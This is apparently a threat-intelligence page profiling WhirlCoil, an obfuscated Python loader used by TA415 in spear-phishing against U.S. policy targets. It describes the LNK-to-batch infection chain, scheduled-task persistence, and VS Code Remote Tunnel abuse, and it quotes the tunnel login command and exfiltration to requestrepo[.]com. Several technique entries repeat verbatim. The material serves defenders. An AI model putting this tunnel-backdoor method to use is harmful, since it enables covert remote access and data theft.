WhirlCoil
WhirlCoil is an obfuscated Python loader used by the China-aligned threat actor TA415, which overlaps with activity tracked as APT41 and Brass Typhoon. Proofpoint observed TA415 using WhirlCoil in spear-phishing campaigns from at least September 2024 and again in July and August 2025 against U.S. government, think tank, and academic targets focused on U.S.-China relations, trade, and economic policy; earlier activity also targeted aerospace, chemicals, insurance, and manufacturing organizations. In the observed infection chain, password-protected archives hosted on services such as Zoho WorkDrive, Dropbox, and OpenDrive contained an LNK file and hidden files in a MACOS folder. The LNK executed a batch script such as logon.bat, which launched the WhirlCoil loader as update.py via a bundled pythonw.exe interpreter. Earlier variants reportedly downloaded the loader from paste sites such as Pastebin and obtained Python from the official Python website. WhirlCoil installs the VS Code CLI to %LOCALAPPDATA%\Microsoft\VSCode, checks administrative privileges via ctypes.windll.shell32.IsUserAnAdmin(), and creates scheduled-task persistence, commonly using names such as GoogleUpdate, GoogleUpdated, or MicrosoftHealthcareMonitorNode, typically configured to run every two hours and, when possible, with SYSTEM privileges. It then executes "code.exe tunnel user login --provider github --name <COMPUTERNAME>" to establish a Visual Studio Code Remote Tunnel, writes the returned verification code to output.txt, harvests system information including Windows version, locale, computer name, username, domain, and contents of multiple user directories, and exfiltrates the collected data plus the tunnel verification code via HTTP POST as base64-encoded data to free request-logging services such as requestrepo.com. With the verification code, the attacker can authenticate the VS Code Remote Tunnel and remotely access the victim filesystem and terminal for persistent backdoor access and arbitrary command execution.
Associated threat actors
2 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
The batch script executes the WhirlCoil Python loader (update.py) via pythonw.exe, which is bundled within an embedded Python package also located in the _MACOS_ folder of the archive.
The batch script executes the WhirlCoil Python loader (update.py) via pythonw.exe, which is bundled within an embedded Python package also located in the _MACOS_ folder of the archive.
Techniques & procedures
15 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
2 techniques
Initial Access
The WhirlCoil script then runs the command code.exe tunnel user login --provider github --name <COMPUTERNAME>; to establish a VS Code remote tunnel authenticated via GitHub.
Throughout July and August 2025, TA415 conducted spearphishing campaigns targeting United States government, think tank, and academic organizations utilizing U.S.-China economic-themed lures.
Execution
4 techniques
Execution
A scheduled task, typically named GoogleUpdate, GoogleUpdated, or MicrosoftHealthcareMonitorNode, is created for persistence which runs the WhirlCoil Python script every two hours.
The function of the LNK file is to execute a batch script named logon.bat contained within the hidden folder and display a corrupt PDF hosted on OpenDrive to the user as a decoy document.
The batch script executes the WhirlCoil Python loader (update.py) via pythonw.exe, which is bundled within an embedded Python package also located in the _MACOS_ folder of the archive.
The primary function of the LNK file is to execute a batch script within the hidden folder, and display a PDF document as a decoy to the user.
Persistence
2 techniques
Persistence
A scheduled task, typically named GoogleUpdate, GoogleUpdated, or MicrosoftHealthcareMonitorNode, is created for persistence which runs the WhirlCoil Python script every two hours.
The WhirlCoil script then runs the command code.exe tunnel user login --provider github --name <COMPUTERNAME>; to establish a VS Code remote tunnel authenticated via GitHub.
Privilege Escalation
2 techniques
Privilege Escalation
A scheduled task, typically named GoogleUpdate, GoogleUpdated, or MicrosoftHealthcareMonitorNode, is created for persistence which runs the WhirlCoil Python script every two hours.
The WhirlCoil script then runs the command code.exe tunnel user login --provider github --name <COMPUTERNAME>; to establish a VS Code remote tunnel authenticated via GitHub.
Stealth
2 techniques
Stealth
The WhirlCoil loader is a Python script obfuscated by repeated use of variable and function names like IIIllIIIIlIlIIlIII.
The WhirlCoil script then runs the command code.exe tunnel user login --provider github --name <COMPUTERNAME>; to establish a VS Code remote tunnel authenticated via GitHub.
Discovery
3 techniques
Discovery
Following this, the script collects system information (including Windows version, locale, computer name, username, and domain) and the contents of a range of user directories.
Following this, the script collects system information (including Windows version, locale, computer name, username, and domain) and the contents of a range of user directories.
Following this, the script collects system information (including Windows version, locale, computer name, username, and domain) and the contents of a range of user directories.
Collection
2 techniques
Collection
The Python loader subsequently... harvests system information and the contents of various user directories.
The phishing emails typically contained links to password-protected archives hosted on public cloud sharing services such as Zoho WorkDrive, Dropbox, and OpenDrive.
Command and Control
2 techniques
Command and Control
The script first downloads the VSCode Command Line Interface (CLI) zip from legitimate Microsoft sources and extracts the zip to %LOCALAPPDATA%\Microsoft\VSCode.
The WhirlCoil script then runs the command code.exe tunnel user login --provider github --name <COMPUTERNAME>; to establish a VS Code remote tunnel authenticated via GitHub.
Exfiltration
1 technique
Exfiltration
This information is sent via POST request to a free request logging service (such as requestrepo[.]com).
Observables
24 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
5 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.